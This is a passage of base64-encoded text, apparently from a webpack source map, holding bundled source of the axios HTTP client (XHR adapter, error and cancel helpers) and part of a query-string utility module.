BjYWxscyBhbmQgZG9lc24ndCByZXR1cm5zIHRoZSByZXNwb25zZSBoZWFkZXJzLlxuICAgIC8vIERPTidUIGRvIHRoaXMgZm9yIHRlc3RpbmcgYi9jIFhNTEh0dHBSZXF1ZXN0IGlzIG1vY2tlZCwgbm90IFhEb21haW5SZXF1ZXN0LlxuICAgIGlmIChwcm9jZXNzLmVudi5OT0RFX0VOViAhPT0gJ3Rlc3QnICYmXG4gICAgICAgIHR5cGVvZiB3aW5kb3cgIT09ICd1bmRlZmluZWQnICYmXG4gICAgICAgIHdpbmRvdy5YRG9tYWluUmVxdWVzdCAmJiAhKCd3aXRoQ3JlZGVudGlhbHMnIGluIHJlcXVlc3QpICYmXG4gICAgICAgICFpc1VSTFNhbWVPcmlnaW4oY29uZmlnLnVybCkpIHtcbiAgICAgIHJlcXVlc3QgPSBuZXcgd2luZG93LlhEb21haW5SZXF1ZXN0KCk7XG4gICAgICBsb2FkRXZlbnQgPSAnb25sb2FkJztcbiAgICAgIHhEb21haW4gPSB0cnVlO1xuICAgICAgcmVxdWVzdC5vbnByb2dyZXNzID0gZnVuY3Rpb24gaGFuZGxlUHJvZ3Jlc3MoKSB7fTtcbiAgICAgIHJlcXVlc3Qub250aW1lb3V0ID0gZnVuY3Rpb24gaGFuZGxlVGltZW91dCgpIHt9O1xuICAgIH1cblxuICAgIC8vIEhUVFAgYmFzaWMgYXV0aGVudGljYXRpb25cbiAgICBpZiAoY29uZmlnLmF1dGgpIHtcbiAgICAgIHZhciB1c2VybmFtZSA9IGNvbmZpZy5hdXRoLnVzZXJuYW1lIHx8ICcnO1xuICAgICAgdmFyIHBhc3N3b3JkID0gY29uZmlnLmF1dGgucGFzc3dvcmQgfHwgJyc7XG4gICAgICByZXF1ZXN0SGVhZGVycy5BdXRob3JpemF0aW9uID0gJ0Jhc2ljICcgKyBidG9hKHVzZXJuYW1lICsgJzonICsgcGFzc3dvcmQpO1xuICAgIH1cblxuICAgIHJlcXVlc3Qub3Blbihjb25maWcubWV0aG9kLnRvVXBwZXJDYXNlKCksIGJ1aWxkVVJMKGNvbmZpZy51cmwsIGNvbmZpZy5wYXJhbXMsIGNvbmZpZy5wYXJhbXNTZXJpYWxpemVyKSwgdHJ1ZSk7XG5cbiAgICAvLyBTZXQgdGhlIHJlcXVlc3QgdGltZW91dCBpbiBNU1xuICAgIHJlcXVlc3QudGltZW91dCA9IGNvbmZpZy50aW1lb3V0O1xuXG4gICAgLy8gTGlzdGVuIGZvciByZWFkeSBzdGF0ZVxuICAgIHJlcXVlc3RbbG9hZEV2ZW50XSA9IGZ1bmN0aW9uIGhhbmRsZUxvYWQoKSB7XG4gICAgICBpZiAoIXJlcXVlc3QgfHwgKHJlcXVlc3QucmVhZHlTdGF0ZSAhPT0gNCAmJiAheERvbWFpbikpIHtcbiAgICAgICAgcmV0dXJuO1xuICAgICAgfVxuXG4gICAgICAvLyBUaGUgcmVxdWVzdCBlcnJvcmVkIG91dCBhbmQgd2UgZGlkbid0IGdldCBhIHJlc3BvbnNlLCB0aGlzIHdpbGwgYmVcbiAgICAgIC8vIGhhbmRsZWQgYnkgb25lcnJvciBpbnN0ZWFkXG4gICAgICAvLyBXaXRoIG9uZSBleGNlcHRpb246IHJlcXVlc3QgdGhhdCB1c2luZyBmaWxlOiBwcm90b2NvbCwgbW9zdCBicm93c2Vyc1xuICAgICAgLy8gd2lsbCByZXR1cm4gc3RhdHVzIGFzIDAgZXZlbiB0aG91Z2ggaXQncyBhIHN1Y2Nlc3NmdWwgcmVxdWVzdFxuICAgICAgaWYgKHJlcXVlc3Quc3RhdHVzID09PSAwICYmICEocmVxdWVzdC5yZXNwb25zZVVSTCAmJiByZXF1ZXN0LnJlc3BvbnNlVVJMLmluZGV4T2YoJ2ZpbGU6JykgPT09IDApKSB7XG4gICAgICAgIHJldHVybjtcbiAgICAgIH1cblxuICAgICAgLy8gUHJlcGFyZSB0aGUgcmVzcG9uc2VcbiAgICAgIHZhciByZXNwb25zZUhlYWRlcnMgPSAnZ2V0QWxsUmVzcG9uc2VIZWFkZXJzJyBpbiByZXF1ZXN0ID8gcGFyc2VIZWFkZXJzKHJlcXVlc3QuZ2V0QWxsUmVzcG9uc2VIZWFkZXJzKCkpIDogbnVsbDtcbiAgICAgIHZhciByZXNwb25zZURhdGEgPSAhY29uZmlnLnJlc3BvbnNlVHlwZSB8fCBjb25maWcucmVzcG9uc2VUeXBlID09PSAndGV4dCcgPyByZXF1ZXN0LnJlc3BvbnNlVGV4dCA6IHJlcXVlc3QucmVzcG9uc2U7XG4gICAgICB2YXIgcmVzcG9uc2UgPSB7XG4gICAgICAgIGRhdGE6IHJlc3BvbnNlRGF0YSxcbiAgICAgICAgLy8gSUUgc2VuZHMgMTIyMyBpbnN0ZWFkIG9mIDIwNCAoaHR0cHM6Ly9naXRodWIuY29tL2F4aW9zL2F4aW9zL2lzc3Vlcy8yMDEpXG4gICAgICAgIHN0YXR1czogcmVxdWVzdC5zdGF0dXMgPT09IDEyMjMgPyAyMDQgOiByZXF1ZXN0LnN0YXR1cyxcbiAgICAgICAgc3RhdHVzVGV4dDogcmVxdWVzdC5zdGF0dXMgPT09IDEyMjMgPyAnTm8gQ29udGVudCcgOiByZXF1ZXN0LnN0YXR1c1RleHQsXG4gICAgICAgIGhlYWRlcnM6IHJlc3BvbnNlSGVhZGVycyxcbiAgICAgICAgY29uZmlnOiBjb25maWcsXG4gICAgICAgIHJlcXVlc3Q6IHJlcXVlc3RcbiAgICAgIH07XG5cbiAgICAgIHNldHRsZShyZXNvbHZlLCByZWplY3QsIHJlc3BvbnNlKTtcblxuICAgICAgLy8gQ2xlYW4gdXAgcmVxdWVzdFxuICAgICAgcmVxdWVzdCA9IG51bGw7XG4gICAgfTtcblxuICAgIC8vIEhhbmRsZSBsb3cgbGV2ZWwgbmV0d29yayBlcnJvcnNcbiAgICByZXF1ZXN0Lm9uZXJyb3IgPSBmdW5jdGlvbiBoYW5kbGVFcnJvcigpIHtcbiAgICAgIC8vIFJlYWwgZXJyb3JzIGFyZSBoaWRkZW4gZnJvbSB1cyBieSB0aGUgYnJvd3NlclxuICAgICAgLy8gb25lcnJvciBzaG91bGQgb25seSBmaXJlIGlmIGl0J3MgYSBuZXR3b3JrIGVycm9yXG4gICAgICByZWplY3QoY3JlYXRlRXJyb3IoJ05ldHdvcmsgRXJyb3InLCBjb25maWcsIG51bGwsIHJlcXVlc3QpKTtcblxuICAgICAgLy8gQ2xlYW4gdXAgcmVxdWVzdFxuICAgICAgcmVxdWVzdCA9IG51bGw7XG4gICAgfTtcblxuICAgIC8vIEhhbmRsZSB0aW1lb3V0XG4gICAgcmVxdWVzdC5vbnRpbWVvdXQgPSBmdW5jdGlvbiBoYW5kbGVUaW1lb3V0KCkge1xuICAgICAgcmVqZWN0KGNyZWF0ZUVycm9yKCd0aW1lb3V0IG9mICcgKyBjb25maWcudGltZW91dCArICdtcyBleGNlZWRlZCcsIGNvbmZpZywgJ0VDT05OQUJPUlRFRCcsXG4gICAgICAgIHJlcXVlc3QpKTtcblxuICAgICAgLy8gQ2xlYW4gdXAgcmVxdWVzdFxuICAgICAgcmVxdWVzdCA9IG51bGw7XG4gICAgfTtcblxuICAgIC8vIEFkZCB4c3JmIGhlYWRlclxuICAgIC8vIFRoaXMgaXMgb25seSBkb25lIGlmIHJ1bm5pbmcgaW4gYSBzdGFuZGFyZCBicm93c2VyIGVudmlyb25tZW50LlxuICAgIC8vIFNwZWNpZmljYWxseSBub3QgaWYgd2UncmUgaW4gYSB3ZWIgd29ya2VyLCBvciByZWFjdC1uYXRpdmUuXG4gICAgaWYgKHV0aWxzLmlzU3RhbmRhcmRCcm93c2VyRW52KCkpIHtcbiAgICAgIHZhciBjb29raWVzID0gcmVxdWlyZSgnLi8uLi9oZWxwZXJzL2Nvb2tpZXMnKTtcblxuICAgICAgLy8gQWRkIHhzcmYgaGVhZGVyXG4gICAgICB2YXIgeHNyZlZhbHVlID0gKGNvbmZpZy53aXRoQ3JlZGVudGlhbHMgfHwgaXNVUkxTYW1lT3JpZ2luKGNvbmZpZy51cmwpKSAmJiBjb25maWcueHNyZkNvb2tpZU5hbWUgP1xuICAgICAgICAgIGNvb2tpZXMucmVhZChjb25maWcueHNyZkNvb2tpZU5hbWUpIDpcbiAgICAgICAgICB1bmRlZmluZWQ7XG5cbiAgICAgIGlmICh4c3JmVmFsdWUpIHtcbiAgICAgICAgcmVxdWVzdEhlYWRlcnNbY29uZmlnLnhzcmZIZWFkZXJOYW1lXSA9IHhzcmZWYWx1ZTtcbiAgICAgIH1cbiAgICB9XG5cbiAgICAvLyBBZGQgaGVhZGVycyB0byB0aGUgcmVxdWVzdFxuICAgIGlmICgnc2V0UmVxdWVzdEhlYWRlcicgaW4gcmVxdWVzdCkge1xuICAgICAgdXRpbHMuZm9yRWFjaChyZXF1ZXN0SGVhZGVycywgZnVuY3Rpb24gc2V0UmVxdWVzdEhlYWRlcih2YWwsIGtleSkge1xuICAgICAgICBpZiAodHlwZW9mIHJlcXVlc3REYXRhID09PSAndW5kZWZpbmVkJyAmJiBrZXkudG9Mb3dlckNhc2UoKSA9PT0gJ2NvbnRlbnQtdHlwZScpIHtcbiAgICAgICAgICAvLyBSZW1vdmUgQ29udGVudC1UeXBlIGlmIGRhdGEgaXMgdW5kZWZpbmVkXG4gICAgICAgICAgZGVsZXRlIHJlcXVlc3RIZWFkZXJzW2tleV07XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgLy8gT3RoZXJ3aXNlIGFkZCBoZWFkZXIgdG8gdGhlIHJlcXVlc3RcbiAgICAgICAgICByZXF1ZXN0LnNldFJlcXVlc3RIZWFkZXIoa2V5LCB2YWwpO1xuICAgICAgICB9XG4gICAgICB9KTtcbiAgICB9XG5cbiAgICAvLyBBZGQgd2l0aENyZWRlbnRpYWxzIHRvIHJlcXVlc3QgaWYgbmVlZGVkXG4gICAgaWYgKGNvbmZpZy53aXRoQ3JlZGVudGlhbHMpIHtcbiAgICAgIHJlcXVlc3Qud2l0aENyZWRlbnRpYWxzID0gdHJ1ZTtcbiAgICB9XG5cbiAgICAvLyBBZGQgcmVzcG9uc2VUeXBlIHRvIHJlcXVlc3QgaWYgbmVlZGVkXG4gICAgaWYgKGNvbmZpZy5yZXNwb25zZVR5cGUpIHtcbiAgICAgIHRyeSB7XG4gICAgICAgIHJlcXVlc3QucmVzcG9uc2VUeXBlID0gY29uZmlnLnJlc3BvbnNlVHlwZTtcbiAgICAgIH0gY2F0Y2ggKGUpIHtcbiAgICAgICAgLy8gRXhwZWN0ZWQgRE9NRXhjZXB0aW9uIHRocm93biBieSBicm93c2VycyBub3QgY29tcGF0aWJsZSBYTUxIdHRwUmVxdWVzdCBMZXZlbCAyLlxuICAgICAgICAvLyBCdXQsIHRoaXMgY2FuIGJlIHN1cHByZXNzZWQgZm9yICdqc29uJyB0eXBlIGFzIGl0IGNhbiBiZSBwYXJzZWQgYnkgZGVmYXVsdCAndHJhbnNmb3JtUmVzcG9uc2UnIGZ1bmN0aW9uLlxuICAgICAgICBpZiAoY29uZmlnLnJlc3BvbnNlVHlwZSAhPT0gJ2pzb24nKSB7XG4gICAgICAgICAgdGhyb3cgZTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cblxuICAgIC8vIEhhbmRsZSBwcm9ncmVzcyBpZiBuZWVkZWRcbiAgICBpZiAodHlwZW9mIGNvbmZpZy5vbkRvd25sb2FkUHJvZ3Jlc3MgPT09ICdmdW5jdGlvbicpIHtcbiAgICAgIHJlcXVlc3QuYWRkRXZlbnRMaXN0ZW5lcigncHJvZ3Jlc3MnLCBjb25maWcub25Eb3dubG9hZFByb2dyZXNzKTtcbiAgICB9XG5cbiAgICAvLyBOb3QgYWxsIGJyb3dzZXJzIHN1cHBvcnQgdXBsb2FkIGV2ZW50c1xuICAgIGlmICh0eXBlb2YgY29uZmlnLm9uVXBsb2FkUHJvZ3Jlc3MgPT09ICdmdW5jdGlvbicgJiYgcmVxdWVzdC51cGxvYWQpIHtcbiAgICAgIHJlcXVlc3QudXBsb2FkLmFkZEV2ZW50TGlzdGVuZXIoJ3Byb2dyZXNzJywgY29uZmlnLm9uVXBsb2FkUHJvZ3Jlc3MpO1xuICAgIH1cblxuICAgIGlmIChjb25maWcuY2FuY2VsVG9rZW4pIHtcbiAgICAgIC8vIEhhbmRsZSBjYW5jZWxsYXRpb25cbiAgICAgIGNvbmZpZy5jYW5jZWxUb2tlbi5wcm9taXNlLnRoZW4oZnVuY3Rpb24gb25DYW5jZWxlZChjYW5jZWwpIHtcbiAgICAgICAgaWYgKCFyZXF1ZXN0KSB7XG4gICAgICAgICAgcmV0dXJuO1xuICAgICAgICB9XG5cbiAgICAgICAgcmVxdWVzdC5hYm9ydCgpO1xuICAgICAgICByZWplY3QoY2FuY2VsKTtcbiAgICAgICAgLy8gQ2xlYW4gdXAgcmVxdWVzdFxuICAgICAgICByZXF1ZXN0ID0gbnVsbDtcbiAgICAgIH0pO1xuICAgIH1cblxuICAgIGlmIChyZXF1ZXN0RGF0YSA9PT0gdW5kZWZpbmVkKSB7XG4gICAgICByZXF1ZXN0RGF0YSA9IG51bGw7XG4gICAgfVxuXG4gICAgLy8gU2VuZCB0aGUgcmVxdWVzdFxuICAgIHJlcXVlc3Quc2VuZChyZXF1ZXN0RGF0YSk7XG4gIH0pO1xufTtcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2F4aW9zL2xpYi9hZGFwdGVycy94aHIuanNcbi8vIG1vZHVsZSBpZCA9IDgxXG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiJ3VzZSBzdHJpY3QnO1xuXG52YXIgZW5oYW5jZUVycm9yID0gcmVxdWlyZSgnLi9lbmhhbmNlRXJyb3InKTtcblxuLyoqXG4gKiBDcmVhdGUgYW4gRXJyb3Igd2l0aCB0aGUgc3BlY2lmaWVkIG1lc3NhZ2UsIGNvbmZpZywgZXJyb3IgY29kZSwgcmVxdWVzdCBhbmQgcmVzcG9uc2UuXG4gKlxuICogQHBhcmFtIHtzdHJpbmd9IG1lc3NhZ2UgVGhlIGVycm9yIG1lc3NhZ2UuXG4gKiBAcGFyYW0ge09iamVjdH0gY29uZmlnIFRoZSBjb25maWcuXG4gKiBAcGFyYW0ge3N0cmluZ30gW2NvZGVdIFRoZSBlcnJvciBjb2RlIChmb3IgZXhhbXBsZSwgJ0VDT05OQUJPUlRFRCcpLlxuICogQHBhcmFtIHtPYmplY3R9IFtyZXF1ZXN0XSBUaGUgcmVxdWVzdC5cbiAqIEBwYXJhbSB7T2JqZWN0fSBbcmVzcG9uc2VdIFRoZSByZXNwb25zZS5cbiAqIEByZXR1cm5zIHtFcnJvcn0gVGhlIGNyZWF0ZWQgZXJyb3IuXG4gKi9cbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gY3JlYXRlRXJyb3IobWVzc2FnZSwgY29uZmlnLCBjb2RlLCByZXF1ZXN0LCByZXNwb25zZSkge1xuICB2YXIgZXJyb3IgPSBuZXcgRXJyb3IobWVzc2FnZSk7XG4gIHJldHVybiBlbmhhbmNlRXJyb3IoZXJyb3IsIGNvbmZpZywgY29kZSwgcmVxdWVzdCwgcmVzcG9uc2UpO1xufTtcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2F4aW9zL2xpYi9jb3JlL2NyZWF0ZUVycm9yLmpzXG4vLyBtb2R1bGUgaWQgPSA4MlxuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsIid1c2Ugc3RyaWN0JztcblxubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiBpc0NhbmNlbCh2YWx1ZSkge1xuICByZXR1cm4gISEodmFsdWUgJiYgdmFsdWUuX19DQU5DRUxfXyk7XG59O1xuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvYXhpb3MvbGliL2NhbmNlbC9pc0NhbmNlbC5qc1xuLy8gbW9kdWxlIGlkID0gODNcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCIndXNlIHN0cmljdCc7XG5cbi8qKlxuICogQSBgQ2FuY2VsYCBpcyBhbiBvYmplY3QgdGhhdCBpcyB0aHJvd24gd2hlbiBhbiBvcGVyYXRpb24gaXMgY2FuY2VsZWQuXG4gKlxuICogQGNsYXNzXG4gKiBAcGFyYW0ge3N0cmluZz19IG1lc3NhZ2UgVGhlIG1lc3NhZ2UuXG4gKi9cbmZ1bmN0aW9uIENhbmNlbChtZXNzYWdlKSB7XG4gIHRoaXMubWVzc2FnZSA9IG1lc3NhZ2U7XG59XG5cbkNhbmNlbC5wcm90b3R5cGUudG9TdHJpbmcgPSBmdW5jdGlvbiB0b1N0cmluZygpIHtcbiAgcmV0dXJuICdDYW5jZWwnICsgKHRoaXMubWVzc2FnZSA/ICc6ICcgKyB0aGlzLm1lc3NhZ2UgOiAnJyk7XG59O1xuXG5DYW5jZWwucHJvdG90eXBlLl9fQ0FOQ0VMX18gPSB0cnVlO1xuXG5tb2R1bGUuZXhwb3J0cyA9IENhbmNlbDtcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2F4aW9zL2xpYi9jYW5jZWwvQ2FuY2VsLmpzXG4vLyBtb2R1bGUgaWQgPSA4NFxuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsIid1c2Ugc3RyaWN0JztcblxudmFyIGhhcyA9IE9iamVjdC5wcm90b3R5cGUuaGFzT3duUHJvcGVydHk7XG5cbnZhciBoZXhUYWJsZSA9IChmdW5jdGlvbiAoKSB7XG4gICAgdmFyIGFycmF5ID0gW107XG4gICAgZm9yICh2YXIgaSA9IDA7IGkgPCAyNTY7ICsraSkge1xuICAgICAgICBhcnJheS5wdXNoKCclJyArICgoaSA8IDE2ID8gJzAnIDogJycpICsgaS50b1N0cmluZygxNikpLnRvVXBwZXJDYXNlKCkpO1xuICAgIH1cblxuICAgIHJldHVybiBhcnJheTtcbn0oKSk7XG5cbnZhciBjb21wYWN0UXVldWUgPSBmdW5jdGlvbiBjb21wYWN0UXVldWUocXVldWUpIHtcbiAgICB2YXIgb2JqO1xuXG4gICAgd2hpbGUgKHF1ZXVlLmxlbmd0aCkge1xuICAgICAgICB2YXIgaXRlbSA9IHF1ZXVlLnBvcCgpO1xuICAgICAgICBvYmogPSBpdGVtLm9ialtpdGVtLnByb3BdO1xuXG4gICAgICAgIGlmIChBcnJheS5pc0FycmF5KG9iaikpIHtcbiAgICAgICAgICAgIHZhciBjb21wYWN0ZWQgPSBbXTtcblxuICAgICAgICAgICAgZm9yICh2YXIgaiA9IDA7IGogPCBvYmoubGVuZ3RoOyArK2opIHtcbiAgICAgICAgICAgICAgICBpZiAodHlwZW9mIG9ialtqXSAhPT0gJ3VuZGVmaW5lZCcpIHtcbiAgICAgICAgICAgICAgICAgICAgY29tcGFjdGVkLnB1c2gob2JqW2pdKTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGl0ZW0ub2JqW2l0ZW0ucHJvcF0gPSBjb21wYWN0ZWQ7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gb2JqO1xufTtcblxudmFyIGFycmF5VG9PYmplY3QgPSBmdW5jdGlvbiBhcnJheVRvT2JqZWN0KHNvdXJjZSwgb3B0aW9ucykge1xuICAgIHZhciBvYmogPSBvcHRpb25zICYmIG9wdGlvbnMucGxhaW5PYmplY3RzID8gT2JqZWN0LmNyZWF0ZShudWxsKSA6IHt9O1xuICAgIGZvciAodmFyIGkgPSAwOyBpIDwgc291cmNlLmxlbmd0aDsgKytpKSB7XG4gICAgICAgIGlmICh0eXBlb2Ygc291cmNlW2ldICE9PSAndW5kZWZpbmVkJykge1xuICAgICAgICAgICAgb2JqW2ldID0gc291cmNlW2ldO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgcmV0dXJuIG9iajtcbn07XG5cbnZhciBtZXJnZSA9IGZ1bmN0aW9uIG1lcmdlKHRhcmdldCwgc291cmNlLCBvcHRpb25zKSB7XG4gICAgaWYgKCFzb3VyY2UpIHtcbiAgICAgICAgcmV0dXJuIHRhcmdldDtcbiAgICB9XG5cbiAgICBpZiAodHlwZW9mIHNvdXJjZSAhPT0gJ29iamVjdCcpIHtcbiAgICAgICAgaWYgKEFycmF5LmlzQXJyYXkodGFyZ2V0KSkge1xuICAgICAgICAgICAgdGFyZ2V0LnB1c2goc291cmNlKTtcbiAgICAgICAgfSBlbHNlIGlmICh0eXBlb2YgdGFyZ2V0ID09PSAnb2JqZWN0Jykge1xuICAgICAgICAgICAgaWYgKG9wdGlvbnMucGxhaW5PYmplY3RzIHx8IG9wdGlvbnMuYWxsb3dQcm90b3R5cGVzIHx8ICFoYXMuY2FsbChPYmplY3QucHJvdG90eXBlLCBzb3VyY2UpKSB7XG4gICAgICAgICAgICAgICAgdGFyZ2V0W3NvdXJjZV0gPSB0cnVlO1xuICAgICAgICAgICAgfVxuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgcmV0dXJuIFt0YXJnZXQsIHNvdXJjZV07XG4gICAgICAgIH1cblxuICAgICAgICByZXR1cm4gdGFyZ2V0O1xuICAgIH1cblxuICAgIGlmICh0eXBlb2YgdGFyZ2V0ICE9PSAnb2JqZWN0Jykge1xuICAgICAgICByZXR1cm4gW3RhcmdldF0uY29uY2F0KHNvdXJjZSk7XG4gICAgfVxuXG4gICAgdmFyIG1lcmdlVGFyZ2V0ID0gdGFyZ2V0O1xuICAgIGlmIChBcnJheS5pc0FycmF5KHRhcmdldCkgJiYgIUFycmF5LmlzQXJyYXkoc291cmNlKSkge1xuICAgICAgICBtZXJnZVRhcmdldCA9IGFycmF5VG9PYmplY3QodGFyZ2V0LCBvcHRpb25zKTtcbiAgICB9XG5cbiAgICBpZiAoQXJyYXkuaXNBcnJheSh0YXJnZXQpICYmIEFycmF5LmlzQXJyYXkoc291cmNlKSkge1xuICAgICAgICBzb3VyY2UuZm9yRWFjaChmdW5jdGlvbiAoaXRlbSwgaSkge1xuICAgICAgICAgICAgaWYgKGhhcy5jYWxsKHRhcmdldCwgaSkpIHtcbiAgICAgICAgICAgICAgICBpZiAodGFyZ2V0W2ldICYmIHR5cGVvZiB0YXJnZXRbaV0gPT09ICdvYmplY3QnKSB7XG4gICAgICAgICAgICAgICAgICAgIHRhcmdldFtpXSA9IG1lcmdlKHRhcmdldFtpXSwgaXRlbSwgb3B0aW9ucyk7XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgdGFyZ2V0LnB1c2goaXRlbSk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICB0YXJnZXRbaV0gPSBpdGVtO1xuICAgICAgICAgICAgfVxuICAgICAgICB9KTtcbiAgICAgICAgcmV0dXJuIHRhcmdldDtcbiAgICB9XG5cbiAgICByZXR1cm4gT2JqZWN0LmtleXMoc291cmNlKS5yZWR1Y2UoZnVuY3Rpb24gKGFjYywga2V5KSB7XG4gICAgICAgIHZhciB2YWx1ZSA9IHNvdXJjZVtrZXldO1xuXG4gICAgICAgIGlmIChoYXMuY2FsbChhY2MsIGtleSkpIHtcbiAgICAgICAgICAgIGFjY1trZXldID0gbWVyZ2UoYWNjW2tleV0sIHZhbHVlLCBvcHRpb25zKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGFjY1trZXldID0gdmFsdWU7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGFjYztcbiAgICB9LCBtZXJnZVRhcmdldCk7XG59O1xuXG52YXIgYXNzaWduID0gZnVuY3Rpb24gYXNzaWduU2luZ2xlU291cmNlKHRhcmdldCwgc291cmNlKSB7XG4gICAgcmV0dXJuIE9iamVjdC5rZXlzKHNvdXJjZSkucmVkdWNlKGZ1bmN0aW9uIChhY2MsIGtleSkge1xuICAgICAgICBhY2Nba2V5XSA9IHNvdXJjZVtrZXldO1xuICAgICAgICByZXR1cm4gYWNjO1xuICAgIH0sIHRhcmdldCk7XG59O1xuXG52YXIgZGVjb2RlID0gZnVuY3Rpb24gKHN0cikge1xuICAgIHRyeSB7XG4gICAgICAgIHJldHVybiBkZWNvZGVVUklDb21wb25lbnQoc3RyLnJlcGxhY2UoL1xcKy9nLCAnICcpKTtcbiAgICB9IGNhdGNoIChlKSB7XG4gICAgICAgIHJldHVybiBzdHI7XG4gICAgfVxufTtcblxudmFyIGVuY29kZSA9IGZ1bmN0aW9uIGVuY29kZShzdHIpIHtcbiAgICAvLyBUaGlzIGNvZGUgd2FzIG9yaWdpbmFsbHkgd3JpdHRlbiBieSBCcmlhbiBXaGl0ZSAobXNjZGV4KSBmb3IgdGhlIGlvLmpzIGNvcmUgcXVlcnlzdHJpbmcgbGlicmFyeS5cbiAgICAvLyBJdCBoYXMgYmVlbiBhZGFwdGVkIGhlcmUgZm9yIHN0cmljdGVyIGFkaGVyZW5jZSB0byBSRkMgMzk4NlxuICAgIGlmIChzdHIubGVuZ3RoID09PSAwKSB7XG4gICAgICAgIHJldHVybiBzdHI7XG4gICAgfVxuXG4gICAgdmFyIHN0cmluZyA9IHR5cGVvZiBzdHIgPT09ICdzdHJpbmcnID8gc3RyIDogU3RyaW5nKHN0cik7XG5cbiAgICB2YXIgb3V0ID0gJyc7XG4gICAgZm9yICh2YXIgaSA9IDA7IGkgPCBzdHJpbmcubGVuZ3RoOyArK2kpIHtcbiAgICAgICAgdmFyIGMgPSBzdHJpbmcuY2hhckNvZGVBdChpKTtcblxuICAgICAgICBpZiAoXG4gICAgICAgICAgICBjID09PSAweDJEIC8vIC1cbiAgICAgICAgICAgIHx8IGMgPT09IDB4MkUgLy8gLlxuICAgICAgICAgICAgfHwgYyA9PT0gMHg1RiAvLyBfXG4gICAgICAgICAgICB8fCBjID09PSAweDdFIC8vIH5cbiAgICAgICAgICAgIHx8IChjID49IDB4MzAgJiYgYyA8PSAweDM5KSAvLyAwLTlcbiAgICAgICAgICAgIHx8IChjID49IDB4NDEgJiYgYyA8PSAweDVBKSAvLyBhLXpcbiAgICAgICAgICAgIHx8IChjID49IDB4NjEgJiYgYyA8PSAweDdBKSAvLyBBLVpcbiAgICAgICAgKSB7XG4gICAgICAgICAgICBvdXQgKz0gc3RyaW5nLmNoYXJBdChpKTtcbiAgICAgICAgICAgIGNvbnRpbnVlO1xuICAgICAgICB9XG5cbiAgICAgICAgaWYgKGMgPCAweDgwKSB7XG4gICAgICAgICAgICBvdXQgPSBvdXQgKyBoZXhUYWJsZVtjXTtcbiAgICAgICAgICAgIGNvbnRpbnVlO1xuICAgICAgICB9XG5cbiAgICAgICAgaWYgKGMgPCAweDgwMCkge1xuICAgICAgICAgICAgb3V0ID0gb3V0ICsgKGhleFRhYmxlWzB4QzAgfCAoYyA+PiA2KV0gKyBoZXhUYWJsZVsweDgwIHwgKGMgJiAweDNGKV0pO1xuICAgICAgICAgICAgY29udGludWU7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoYyA8IDB4RDgwMCB8fCBjID49IDB4RTAwMCkge1xuICAgICAgICAgICAgb3V0ID0gb3V0ICsgKGhleFRhYmxlWzB4RTAgfCAoYyA+PiAxMildICsgaGV4VGFibGVbMHg4MCB8ICgoYyA+PiA2KSAmIDB4M0YpXSArIGhleFRhYmxlWzB4ODAgfCAoYyAmIDB4M0YpXSk7XG4gICAgICAgICAgICBjb250aW51ZTtcbiAgICAgICAgfVxuXG4gICAgICAgIGkgKz0gMTtcbiAgICAgICAgYyA9IDB4MTAwMDAgKyAoKChjICYgMHgzRkYpIDw8IDEwKSB8IChzdHJpbmcuY2hhckNvZGVBdChpKSAmIDB4M0ZGKSk7XG4gICAgICAgIG91dCArPSBoZXhUYWJsZVsweEYwIHwgKGMgPj4gMTgpXVxuICAgICAgICAgICAgKyBoZXhUYWJsZVsweDgwIHwgKChjID4+IDEyKSAmIDB4M0YpXVxuICAgICAgICAgICAgKyBoZXhUYWJsZVsweDgwIHwgKChjID4+IDYpICYgMHgzRildXG4gICAgICAgICAgICArIGhleFRhYmxlWzB4ODAgfCAoYyAmIDB4M0YpXTtcbiAgICB9XG5cbiAgICByZXR1cm4gb3V0O1xufTtcblxudmFyIGNvbXBhY3QgPSBmdW5jdGlvbiBjb21wYWN0KHZhbHVlKSB7XG4gICAgdmFyIHF1ZXVlID0gW3sgb2JqOiB7IG86IHZhbHVlIH0sIHByb3A6ICdvJyB9XTtcbiAgICB2YXIgcmVmcyA9IFtdO1xuXG4gICAgZm9yICh2YXIgaSA9IDA7IGkgPCBxdWV1ZS5sZW5ndGg7ICsraSkge1xuICAgICAgICB2YXIgaXRlbSA9IHF1ZXVlW2ldO1xuICAgICAgICB2YXIgb2JqID0gaXRlbS5vYmpbaXRlbS5wcm9wXTtcblxuICAgICAgICB2YXIga2V5cyA9IE9iamVjdC5rZXlzKG9iaik7XG4gICAgICAgIGZvciAodmFyIGogPSAwOyBqIDwga2V5cy5sZW5ndGg7ICsraikge1xuICAgICAgICAgICAgdmFyIGtleSA9IGtleXNbal07XG4gICAgICAgICAgICB2YXIgdmFsID0gb2JqW2tleV07XG4gICAgICAgICAgICBpZiAodHlw